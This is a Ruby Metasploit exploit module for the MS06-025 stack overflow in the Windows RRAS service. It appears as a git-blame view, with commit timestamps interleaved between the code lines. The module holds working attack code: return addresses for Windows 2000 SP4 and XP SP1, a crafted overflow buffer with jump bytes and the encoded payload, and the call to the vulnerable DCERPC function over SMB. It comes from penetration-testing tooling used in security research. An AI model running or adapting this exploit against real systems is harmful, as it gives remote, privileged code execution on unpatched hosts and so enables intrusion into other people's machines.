2006-06-14 20:39:16 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Smb::MS06_025_RRAS < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::DCERPC
|
|
|
|
include Exploit::Remote::SMB
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft RRAS MS06-025 Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the RRAS
|
2006-06-15 15:31:56 +00:00
|
|
|
service shipped with each version of Windows. This
|
|
|
|
vulnerability is not accessible to anonymous users
|
|
|
|
on any platform other than Windows XP SP1. When
|
|
|
|
exploiting XP SP1, 'SRVSVC' will need to be
|
|
|
|
specified as the SMBPIPE parameter.
|
2006-06-14 20:39:16 +00:00
|
|
|
},
|
2006-06-15 15:30:46 +00:00
|
|
|
'Author' => [ 'anonymous', 'hdm' ],
|
2006-06-14 20:39:16 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'MSB', 'MS06-025'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2006-06-14 21:26:43 +00:00
|
|
|
'Space' => 1104,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
2006-06-14 20:39:16 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2006-06-15 15:30:46 +00:00
|
|
|
[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],
|
|
|
|
[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],
|
2006-06-14 20:39:16 +00:00
|
|
|
],
|
|
|
|
|
|
|
|
'DisclosureDate' => 'Jun 13 2006'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2006-06-15 15:31:56 +00:00
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),
|
2006-06-14 20:39:16 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
2006-06-14 21:26:43 +00:00
|
|
|
handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
2006-06-14 20:39:16 +00:00
|
|
|
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
2006-06-15 15:30:46 +00:00
|
|
|
|
|
|
|
print_status('Getting OS...')
|
|
|
|
|
|
|
|
# Check the remote OS name and version
|
|
|
|
os = smb_peer_lm
|
|
|
|
pat = ''
|
|
|
|
|
|
|
|
case os
|
|
|
|
when /2000/
|
|
|
|
pat =
|
|
|
|
payload.encoded +
|
|
|
|
"\xeb\x06" +
|
|
|
|
Rex::Text.rand_text_alphanumeric(2) +
|
|
|
|
[target.ret].pack('V') +
|
|
|
|
"\xe9\xb7\xfb\xff\xff"
|
|
|
|
os = 'Windows 2000'
|
|
|
|
when /XP/
|
|
|
|
pat =
|
|
|
|
Rex::Text.rand_text_alphanumeric(0x4c) +
|
|
|
|
"\xeb\x06" +
|
|
|
|
Rex::Text.rand_text_alphanumeric(2) +
|
|
|
|
[target.ret].pack('V') +
|
|
|
|
payload.encoded
|
|
|
|
os = 'Windows XP'
|
|
|
|
end
|
2006-06-14 21:26:43 +00:00
|
|
|
|
|
|
|
req = [1, 0x49].pack('VV') + pat + Rex::Text.rand_text_alphanumeric(0x4000-pat.length)
|
|
|
|
len = req.length
|
|
|
|
stb =
|
|
|
|
NDR.long(0x20000) +
|
|
|
|
NDR.long(len) +
|
|
|
|
req +
|
|
|
|
NDR.long(len)
|
2006-06-14 20:39:16 +00:00
|
|
|
|
2006-06-15 15:30:46 +00:00
|
|
|
print_status("Calling the vulnerable function on #{os}...")
|
2006-06-14 21:26:43 +00:00
|
|
|
|
2006-06-14 20:39:16 +00:00
|
|
|
begin
|
2006-06-14 21:26:43 +00:00
|
|
|
dcerpc.call(0x0C, stb)
|
2006-06-14 20:39:16 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
rescue => e
|
2006-06-14 21:26:43 +00:00
|
|
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
2006-06-14 20:39:16 +00:00
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|